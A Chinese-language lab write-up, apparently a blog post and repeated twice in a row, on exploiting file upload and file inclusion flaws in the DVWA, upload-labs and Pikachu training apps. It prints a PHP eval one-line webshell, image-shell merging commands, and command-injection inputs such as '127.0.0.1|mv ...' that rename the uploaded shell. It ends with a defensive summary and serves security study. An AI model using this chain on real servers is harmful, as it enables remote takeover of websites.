upload-labs源码地址https://github.com/c0ny1/upload-labsupload-labsPass-1-js检查Pass-2-只验证Content-typePass-3-黑名单绕过Pass-4-.htaccess绕过Pass-5-大小写绕过Pass-6-空格绕过Pass-7-点绕过Pass-8-::$DATA绕过Pass-9-点空格点绕过Pass-10-双写绕过Pass-11-00截断Pass-12-00截断Pass-13-图片马绕过Pass-14-getimagesize()-图片马Pass-15-exif_imagetype()-图片马Pass-16-二次渲染绕过Pass-17-条件竞争Pass-18-条件竞争Pass-19-00截断文件上传初级LOW:File Upload Source vulnerabilities/upload/source/low.php ?php if( isset( $_POST[ Upload ] ) ) { // Where are we going to be writing to? $target_path DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/; $target_path . basename( $_FILES[ uploaded ][ name ] ); // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ uploaded ][ tmp_name ], $target_path ) ) { // No echo preYour image was not uploaded./pre; } else { // Yes! echo pre{$target_path} succesfully uploaded!/pre; } } ??php // 判断是否点击上传按钮POST参数Upload存在 if( isset( $_POST[ Upload ] ) ) { // 拼接上传保存路径网站根目录/hackable/uploads/ $target_path DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/; // 获取上传文件原始文件名拼接完整保存路径 $target_path . basename( $_FILES[ uploaded ][ name ] ); // 将服务器临时目录文件移动到上传目录 if( !move_uploaded_file( $_FILES[ uploaded ][ tmp_name ], $target_path ) ) { echo preYour image was not uploaded./pre; } else { echo pre{$target_path} succesfully uploaded!/pre; } } ?可以看到服务器对上传文件的类型、内容没有做任何的检查、过滤存在明显的文件上传漏洞生成上传路径后服务器会检查是否上传成功并返回相应提示信息。因为文件上传没有做任何限制可以上传任何文件再上传一句话木马然后通过蚁剑或者中国菜刀拿到webshell。写一句话木马并上传:shell.php?php eval($_POST[123456]); ?用菜刀连接WEBshell,右键单击添加 http://127.0.0.1:82/hackable/uploads/shell.php密码就是我们上传的shell.php中的$_POST[123456]中的字符串 123456用蚁剑成功连接webshell蚁剑antsword安装教程:参考中国蚁剑(antSword)下载、安装、使用教程_antsword安装教程-CSDN博客下载地址需要两个包一个是项目核心 源码 ”antSword“https://github.com/AntSwordProject/antSword一个是加载器https://github.com/AntSwordProject/AntSword-Loader安装用下载的AntSword-Loader-v4.0.3-win32-x64.zip 以Windows版本64位来示例解压1.启动AntSword-Loader-v4.0.3-win32-x64 下的 AntSword.exe2.点击初始化3.选择下载的源码文件夹 antSword-master如果只下载了加载器选择一个空文件夹加载器会自动帮你下载核心项目源码4.等初始化完成后重启“AntSword.exe”即可正常启动使用方法首页点击右键 添加数据打开后url地址就是我们木马的地址 如 http://127.0.0.1:82/hackable/uploads/shell.php密码123456哥斯拉连接中级medium源代码?php if( isset( $_POST[ Upload ] ) ) { // Where are we going to be writing to? $target_path DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/; $target_path . basename( $_FILES[ uploaded ][ name ] ); // File information $uploaded_name $_FILES[ uploaded ][ name ]; $uploaded_type $_FILES[ uploaded ][ type ]; $uploaded_size $_FILES[ uploaded ][ size ]; // Is it an image? if( ( $uploaded_type image/jpeg || $uploaded_type image/png ) ( $uploaded_size 100000 ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ uploaded ][ tmp_name ], $target_path ) ) { // No echo preYour image was not uploaded./pre; } else { // Yes! echo pre{$target_path} succesfully uploaded!/pre; } } else { // Invalid file echo preYour image was not uploaded. We can only accept JPEG or PNG images./pre; } } ?查看到代码对上传的文件进行过滤上传文件后缀应为jpeg,png并且对文件大小进行限制。先把shell.php改成shell.png,然后再上传抓包用burpsuite抓包完成时候修改上传的文件名在filename处修改高级(high)源代码?php if( isset( $_POST[ Upload ] ) ) { // Where are we going to be writing to? $target_path DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/; $target_path . basename( $_FILES[ uploaded ][ name ] ); // File information $uploaded_name $_FILES[ uploaded ][ name ]; $uploaded_ext substr( $uploaded_name, strrpos( $uploaded_name, . ) 1); $uploaded_size $_FILES[ uploaded ][ size ]; $uploaded_tmp $_FILES[ uploaded ][ tmp_name ]; // Is it an image? if( ( strtolower( $uploaded_ext ) jpg || strtolower( $uploaded_ext ) jpeg || strtolower( $uploaded_ext ) png ) ( $uploaded_size 100000 ) getimagesize( $uploaded_tmp ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { // No echo preYour image was not uploaded./pre; } else { // Yes! echo pre{$target_path} succesfully uploaded!/pre; } } else { // Invalid file echo preYour image was not uploaded. We can only accept JPEG or PNG images./pre; } } ?CTF隐写术必备手把手教你通过文件头尾识别20常见文件格式附速查表-CSDN博客可以看到添加了一个getimagesize( string filename)函数它会通过读取文件头返回图片的长、宽等信息如果没有相关的图片文件头函数会报错。这里读取文件名中最后一个”.”后的字符串期望通过文件名来限制文件类型因此要求上传文件名形式必须是”.jpg”、”.jpeg” 、”*.png”之一。同时getimagesize函数更是限制了上传文件的文件头必须为图像类型。且文件大小小于100000字节copy 1.jpg/bwjsc.php 2.jpg //复制 原图片/b木马.php 新图片 copy 11.jpg/b1.php/a 11.jpg //b表示二进制文件、a表示ASCII码文件将木马隐藏在图片中绕过(High文件上传Low命令注入)1、将木马文件pass.php与图片文件test.jpg合并为php.jpgwindows上(关闭实时防护)使用copy命令: copy test.jpg/bshell.php/a shell3.jpglinux上cat pass.php test.jpg上传成功注意文件一定要在100kb以内否则上传不成功这时只是上传成功但是蚁剑是连不上的因为不是php文件。无法解析运行所以图片木马上传后不能触发需要结合其他漏洞一起利用。结合文件包含漏洞一起利用。在命令注入中输入:127.0.0.1 | ren D:\phpstudy_pro\WWW\DVWA\hackable\uploads\shell3.jpg shell3.php此时发现shell3.jpg已经被改名为shell3.php如果服务器是Linux系统,结合DVWA命令注入Command Execution选择DVWA命令注入Command Execution调整dvwa的等级为low在Command Execution中输入 127.0.0.1|ls ../../hackable/uploads然后通过命令注入方式输入以下命令来进行更改文件后缀127.0.0.1|mv ../../hackable/uploads/php.jpg ../../hackable/uploads/shell3.php再执行127.0.0.1|ls ../../hackable/uploads查看中国蚁剑查看指定连接目录http://127.0.0.1:82/dvwa/hackable/uploads/shell3.php参数为cmd类型为PHP(eval)结合文件包含可以继续做结合文件包含的low级别可进行远程进入文件包含在url的后面page输入../../hackable/uploads/w.jpg蚁剑的url输入http://127.0.0.1/dvwa/vulnerabilities/fi/?page../../hackable/uploads/w.jpghttp://127.0.0.1/dvwa/vulnerabilities/fi/?page../../hackable/uploads/w.jpg发现为空可能需要登录搞一下Cookie试试可bp抓包可cookie插件。cookie插件连接成功Impossible Level#The developer calls it quits and hardcodes only the allowed pages,with there exact filenames. By doing this, it removes all avenues ofattack.开发人员只对允许的页面进行硬编码并提供精确的文件名这样做消除了所有的攻击途径。?php // The page we wish to display $file $_GET[page]; // Only allow include.php or file{1..3}.php if($file ! include.php $file ! file1.php $file ! file2.php $file ! file3.php){ // This isnt the page we want! echo ERROR: File not found!; exit; } ?总结与防御#为了更好地使用代码的重用性可以使用文件包含函数将文件包含进来直接使用文件中的代码来提高重用性。但是这也产生了文件包含漏洞产生原因是在通过PHP的函数引入文件时为了灵活包含文件会将被包含文件设置为变量通过动态变量来引入需要包含的文件。此时用户可以对变量的值可控而服务器端未对变量值进行合理地校验或者校验被绕过就会导致文件包含漏洞。常用的文件包含函数有include()、include_once()、require()、require_once()。包含漏洞分为本地包含和原创包含 2 类当包含的文件在服务器本地时就形成了本地文件包含。文件包含可以包含任意文件被包含的文件可以不是 PHP代码可以是文本或图片等。只要文件被包含就会被服务器脚本语言执行如果包含的文件内容不符合 php语法会直接将文件内容输出。例如下面这段简易的代码?php$file $_GET[file]; include($file); ?当包含的文件在远程服务器上时就形成了远程文件包含。所包含远程服务器的文件后缀不能与目标服务器语言相同远程文件包含需要在 php.ini 中设置allow_url_include on是否允许 include/require 远程文件 allow_url_fopen on是否允许打开远程文件http://192.168.188.183/pikachu/vul/fileinclude/fi_local.php?filename../../unsafeupload/uploads/2023/09/09/76459764fc0cb7785d8730212793.pngsubmit%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2unsafeupload\uploads\2026\07\25http://pikachu.cn:83/vul/fileinclude/fi_local.php?filename../../unsafeupload/uploads/2026/07/25/4395896a642da68c7ee785209172.jpgsubmit%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2http://pikachu.cn:83/vul/fileinclude/fi_local.php?filename../../unsafeupload/uploads/2026/07/25/1120906a64327f0122d204633838.pngsubmit%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2uploads/2026/07/25/1120906a64327f0122d204633838.pnghttp://pikachu.cn:83/vul/fileinclude/fi_local.php?filename../../unsafeupload/uploads/2026/07/25/1120906a64327f0122d204633838.pngsubmit提交查询uploads/2026/07/25/5669506a64334b855c9444912681.png
upload-labs源码地址https://github.com/c0ny1/upload-labsupload-labsPass-1-js检查Pass-2-只验证Content-typePass-3-黑名单绕过Pass-4-.htaccess绕过Pass-5-大小写绕过Pass-6-空格绕过Pass-7-点绕过Pass-8-::$DATA绕过Pass-9-点空格点绕过Pass-10-双写绕过Pass-11-00截断Pass-12-00截断Pass-13-图片马绕过Pass-14-getimagesize()-图片马Pass-15-exif_imagetype()-图片马Pass-16-二次渲染绕过Pass-17-条件竞争Pass-18-条件竞争Pass-19-00截断文件上传初级LOW:File Upload Source vulnerabilities/upload/source/low.php ?php if( isset( $_POST[ Upload ] ) ) { // Where are we going to be writing to? $target_path DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/; $target_path . basename( $_FILES[ uploaded ][ name ] ); // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ uploaded ][ tmp_name ], $target_path ) ) { // No echo preYour image was not uploaded./pre; } else { // Yes! echo pre{$target_path} succesfully uploaded!/pre; } } ??php // 判断是否点击上传按钮POST参数Upload存在 if( isset( $_POST[ Upload ] ) ) { // 拼接上传保存路径网站根目录/hackable/uploads/ $target_path DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/; // 获取上传文件原始文件名拼接完整保存路径 $target_path . basename( $_FILES[ uploaded ][ name ] ); // 将服务器临时目录文件移动到上传目录 if( !move_uploaded_file( $_FILES[ uploaded ][ tmp_name ], $target_path ) ) { echo preYour image was not uploaded./pre; } else { echo pre{$target_path} succesfully uploaded!/pre; } } ?可以看到服务器对上传文件的类型、内容没有做任何的检查、过滤存在明显的文件上传漏洞生成上传路径后服务器会检查是否上传成功并返回相应提示信息。因为文件上传没有做任何限制可以上传任何文件再上传一句话木马然后通过蚁剑或者中国菜刀拿到webshell。写一句话木马并上传:shell.php?php eval($_POST[123456]); ?用菜刀连接WEBshell,右键单击添加 http://127.0.0.1:82/hackable/uploads/shell.php密码就是我们上传的shell.php中的$_POST[123456]中的字符串 123456用蚁剑成功连接webshell蚁剑antsword安装教程:参考中国蚁剑(antSword)下载、安装、使用教程_antsword安装教程-CSDN博客下载地址需要两个包一个是项目核心 源码 ”antSword“https://github.com/AntSwordProject/antSword一个是加载器https://github.com/AntSwordProject/AntSword-Loader安装用下载的AntSword-Loader-v4.0.3-win32-x64.zip 以Windows版本64位来示例解压1.启动AntSword-Loader-v4.0.3-win32-x64 下的 AntSword.exe2.点击初始化3.选择下载的源码文件夹 antSword-master如果只下载了加载器选择一个空文件夹加载器会自动帮你下载核心项目源码4.等初始化完成后重启“AntSword.exe”即可正常启动使用方法首页点击右键 添加数据打开后url地址就是我们木马的地址 如 http://127.0.0.1:82/hackable/uploads/shell.php密码123456哥斯拉连接中级medium源代码?php if( isset( $_POST[ Upload ] ) ) { // Where are we going to be writing to? $target_path DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/; $target_path . basename( $_FILES[ uploaded ][ name ] ); // File information $uploaded_name $_FILES[ uploaded ][ name ]; $uploaded_type $_FILES[ uploaded ][ type ]; $uploaded_size $_FILES[ uploaded ][ size ]; // Is it an image? if( ( $uploaded_type image/jpeg || $uploaded_type image/png ) ( $uploaded_size 100000 ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ uploaded ][ tmp_name ], $target_path ) ) { // No echo preYour image was not uploaded./pre; } else { // Yes! echo pre{$target_path} succesfully uploaded!/pre; } } else { // Invalid file echo preYour image was not uploaded. We can only accept JPEG or PNG images./pre; } } ?查看到代码对上传的文件进行过滤上传文件后缀应为jpeg,png并且对文件大小进行限制。先把shell.php改成shell.png,然后再上传抓包用burpsuite抓包完成时候修改上传的文件名在filename处修改高级(high)源代码?php if( isset( $_POST[ Upload ] ) ) { // Where are we going to be writing to? $target_path DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/; $target_path . basename( $_FILES[ uploaded ][ name ] ); // File information $uploaded_name $_FILES[ uploaded ][ name ]; $uploaded_ext substr( $uploaded_name, strrpos( $uploaded_name, . ) 1); $uploaded_size $_FILES[ uploaded ][ size ]; $uploaded_tmp $_FILES[ uploaded ][ tmp_name ]; // Is it an image? if( ( strtolower( $uploaded_ext ) jpg || strtolower( $uploaded_ext ) jpeg || strtolower( $uploaded_ext ) png ) ( $uploaded_size 100000 ) getimagesize( $uploaded_tmp ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { // No echo preYour image was not uploaded./pre; } else { // Yes! echo pre{$target_path} succesfully uploaded!/pre; } } else { // Invalid file echo preYour image was not uploaded. We can only accept JPEG or PNG images./pre; } } ?CTF隐写术必备手把手教你通过文件头尾识别20常见文件格式附速查表-CSDN博客可以看到添加了一个getimagesize( string filename)函数它会通过读取文件头返回图片的长、宽等信息如果没有相关的图片文件头函数会报错。这里读取文件名中最后一个”.”后的字符串期望通过文件名来限制文件类型因此要求上传文件名形式必须是”.jpg”、”.jpeg” 、”*.png”之一。同时getimagesize函数更是限制了上传文件的文件头必须为图像类型。且文件大小小于100000字节copy 1.jpg/bwjsc.php 2.jpg //复制 原图片/b木马.php 新图片 copy 11.jpg/b1.php/a 11.jpg //b表示二进制文件、a表示ASCII码文件将木马隐藏在图片中绕过(High文件上传Low命令注入)1、将木马文件pass.php与图片文件test.jpg合并为php.jpgwindows上(关闭实时防护)使用copy命令: copy test.jpg/bshell.php/a shell3.jpglinux上cat pass.php test.jpg上传成功注意文件一定要在100kb以内否则上传不成功这时只是上传成功但是蚁剑是连不上的因为不是php文件。无法解析运行所以图片木马上传后不能触发需要结合其他漏洞一起利用。结合文件包含漏洞一起利用。在命令注入中输入:127.0.0.1 | ren D:\phpstudy_pro\WWW\DVWA\hackable\uploads\shell3.jpg shell3.php此时发现shell3.jpg已经被改名为shell3.php如果服务器是Linux系统,结合DVWA命令注入Command Execution选择DVWA命令注入Command Execution调整dvwa的等级为low在Command Execution中输入 127.0.0.1|ls ../../hackable/uploads然后通过命令注入方式输入以下命令来进行更改文件后缀127.0.0.1|mv ../../hackable/uploads/php.jpg ../../hackable/uploads/shell3.php再执行127.0.0.1|ls ../../hackable/uploads查看中国蚁剑查看指定连接目录http://127.0.0.1:82/dvwa/hackable/uploads/shell3.php参数为cmd类型为PHP(eval)结合文件包含可以继续做结合文件包含的low级别可进行远程进入文件包含在url的后面page输入../../hackable/uploads/w.jpg蚁剑的url输入http://127.0.0.1/dvwa/vulnerabilities/fi/?page../../hackable/uploads/w.jpghttp://127.0.0.1/dvwa/vulnerabilities/fi/?page../../hackable/uploads/w.jpg发现为空可能需要登录搞一下Cookie试试可bp抓包可cookie插件。cookie插件连接成功Impossible Level#The developer calls it quits and hardcodes only the allowed pages,with there exact filenames. By doing this, it removes all avenues ofattack.开发人员只对允许的页面进行硬编码并提供精确的文件名这样做消除了所有的攻击途径。?php // The page we wish to display $file $_GET[page]; // Only allow include.php or file{1..3}.php if($file ! include.php $file ! file1.php $file ! file2.php $file ! file3.php){ // This isnt the page we want! echo ERROR: File not found!; exit; } ?总结与防御#为了更好地使用代码的重用性可以使用文件包含函数将文件包含进来直接使用文件中的代码来提高重用性。但是这也产生了文件包含漏洞产生原因是在通过PHP的函数引入文件时为了灵活包含文件会将被包含文件设置为变量通过动态变量来引入需要包含的文件。此时用户可以对变量的值可控而服务器端未对变量值进行合理地校验或者校验被绕过就会导致文件包含漏洞。常用的文件包含函数有include()、include_once()、require()、require_once()。包含漏洞分为本地包含和原创包含 2 类当包含的文件在服务器本地时就形成了本地文件包含。文件包含可以包含任意文件被包含的文件可以不是 PHP代码可以是文本或图片等。只要文件被包含就会被服务器脚本语言执行如果包含的文件内容不符合 php语法会直接将文件内容输出。例如下面这段简易的代码?php$file $_GET[file]; include($file); ?当包含的文件在远程服务器上时就形成了远程文件包含。所包含远程服务器的文件后缀不能与目标服务器语言相同远程文件包含需要在 php.ini 中设置allow_url_include on是否允许 include/require 远程文件 allow_url_fopen on是否允许打开远程文件http://192.168.188.183/pikachu/vul/fileinclude/fi_local.php?filename../../unsafeupload/uploads/2023/09/09/76459764fc0cb7785d8730212793.pngsubmit%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2unsafeupload\uploads\2026\07\25http://pikachu.cn:83/vul/fileinclude/fi_local.php?filename../../unsafeupload/uploads/2026/07/25/4395896a642da68c7ee785209172.jpgsubmit%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2http://pikachu.cn:83/vul/fileinclude/fi_local.php?filename../../unsafeupload/uploads/2026/07/25/1120906a64327f0122d204633838.pngsubmit%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2uploads/2026/07/25/1120906a64327f0122d204633838.pnghttp://pikachu.cn:83/vul/fileinclude/fi_local.php?filename../../unsafeupload/uploads/2026/07/25/1120906a64327f0122d204633838.pngsubmit提交查询uploads/2026/07/25/5669506a64334b855c9444912681.png
